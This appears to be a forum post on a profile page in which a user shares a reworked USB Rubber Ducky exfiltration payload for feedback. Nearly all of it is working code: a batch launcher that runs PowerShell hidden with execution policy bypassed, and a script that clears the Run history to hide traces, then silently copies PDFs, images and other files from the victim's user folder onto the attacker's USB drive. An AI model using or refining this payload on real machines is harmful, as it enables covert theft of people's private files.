Jump to content

Sh3ld0n

Members
  • Posts

    1
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Sh3ld0n's Achievements

Newbie

Newbie (1/14)

  1. about a week ago if got my UBS-Rubber-Ducky and i thought i would rework the USB Exfiltration payload from Hak5 episodes 2112 - 2114 to run as a .ps1 script and i would like to share it to get some opinions on it here is my Code: d.cmd: @echo off start powerShell.exe -nologo -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& '%~dpn0.ps1'" start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')" cscript %~d0\i.vbs %~dnp0\d.ps1 REM @exit d.ps1: REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f # Setup source and destination paths $Src = ${env:USERPROFILE} $sDL = (Get-Volume -FileSystemLabel _).DriveLetter #selectin the DriveLetter $dt1=":\slurp\${Env:ComputerName}_$((Get-Date).ToString('yyyy-MM-dd _ hh-mm-ss'))"; #Destination folder $Dst=$sDL+$dt1; #combining DriveLetter with Destination folder if (!(Test-Path $Dst)) { mkdir $Dst } # Wildcard for filter $Extension = '*40983063xch*', '*.pdf', '*.jpg' # Get file recursively Get-ChildItem -Path $Src -Filter $Extension -Recurse | Where-Object {!$_.PsIsContainer} | # For each file ForEach-Object { # If file exist in destination folder, rename it with directory tag if(Test-Path -Path (Join-Path -Path $Dst -ChildPath $_.Name)) { # Get full path to the file without drive letter and replace `\` with '-' # [regex]::Escape is needed because -replace uses regex, so we should escape '\' $NameWithDirTag = (Split-Path -Path $_.FullName -NoQualifier) -replace [regex]::Escape('\'), '-' # Join new file name with destination directory $NewPath = Join-Path -Path $Dst -ChildPath $NameWithDirTag } # Don't modify new file path, if file doesn't exist in target dir else { $NewPath = $Dst } # Copy file Copy-Item -Path $_.FullName -Destination $NewPath } $wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}'); exit
×
×
  • Create New...